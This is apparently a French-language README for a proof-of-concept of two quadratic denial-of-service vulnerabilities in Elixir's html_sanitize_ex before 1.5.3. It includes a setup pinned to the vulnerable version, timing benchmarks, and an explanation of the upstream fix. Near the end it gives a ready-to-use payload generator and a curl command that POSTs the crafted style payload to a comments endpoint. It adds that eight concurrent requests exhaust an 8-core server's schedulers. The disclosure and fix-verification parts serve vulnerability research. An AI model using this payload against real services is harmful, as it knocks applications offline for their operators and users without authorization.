
PoC démontrant une DoS quadratique dans html_sanitize_ex d'Elixir via un HTML spécialement conçu ; inclut des benchmarks de temps d'exécution, une exploitation à distance via curl, et une vérification par rapport aux versions corrigées.
Déni de service quadratique dans html_sanitize_ex < 1.5.3.
Cette bibliothèque vise à neutraliser le HTML non fiable, mais deux chemins de code indépendants et super-linéaires permettent à une seule requête forgée de monopoliser un ordonnanceur BEAM pendant des secondes. Quelques requêtes concurrentes suffisent à saturer le pool d'ordonnanceurs et l'application cesse de répondre. L'impact est disponibilité uniquement (CVSS 8.2 High).
| CVE | Composant | Faiblesse | Déclencheur |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (backtracking regex) | longue suite de caractères de mot dans <style> se terminant par : |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (parcours quadratique) | longue suite plate de balises sœurs autorisées (p. ex. <b>a</b> × 20 000) |
CVE-2026-68749 n'est accessible que via
html5/1(ou un scrubber personnalisé étendant:html5). CVE-2026-68750 se trouve sur tous les points d'entrée publics, y comprisbasic_html/1,markdown_html/1, etstrip_tags/1.
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
Prérequis : Elixir ≥ 1.14 et une connexion internet (pour récupérer la dépendance Hex).
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
Résultat attendu sur la version vulnérable 1.5.2 — les temps d'attaque relèguent au second plan les temps bénins. La forme est (illustrative ; les valeurs absolues dépendent du matériel, mais les deux repères d'attaque proviennent directement de l'avis EEF CNA) :
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
Le point clé est le ratio : l'attaque est des ordres de grandeur plus lente qu'une entrée
bénigne de taille comparable, et 10× l'entrée coûte bien plus que 10× le travail. Les
chiffres de 2,4 s (80 Ko de <style>) et 1,7 s (20 000 balises sœurs) sont cités depuis les
avis upstream.
Modifiez mix.exs et augmentez la version épinglée vers la version corrigée :
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
Puis relancez :
mix deps.update html_sanitize_ex
mix run poc.exs
Sur 1.5.3, les temps bénins et d'attaque retombent dans le même ordre de grandeur, car le correctif borne le groupe regex ([-\w]+ → [-\w]{1,64}) et réécrit le traverser en un unique Enum.reduce + un List.flatten/1 (O(n²) → O(n)).
Dans une vraie application Phoenix, ces appels se produisent partout où le serveur assainit le texte enrichi fourni par l'utilisateur. L'attaquant n'a qu'à POSTer la charge utile comme valeur du champ — aucune authentification requise :
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
Huit requêtes concurrentes de ce type monopolisent les huit ordonnanceurs BEAM d'un hôte à 8 cœurs.
Pour usage éducatif / tests autorisés uniquement.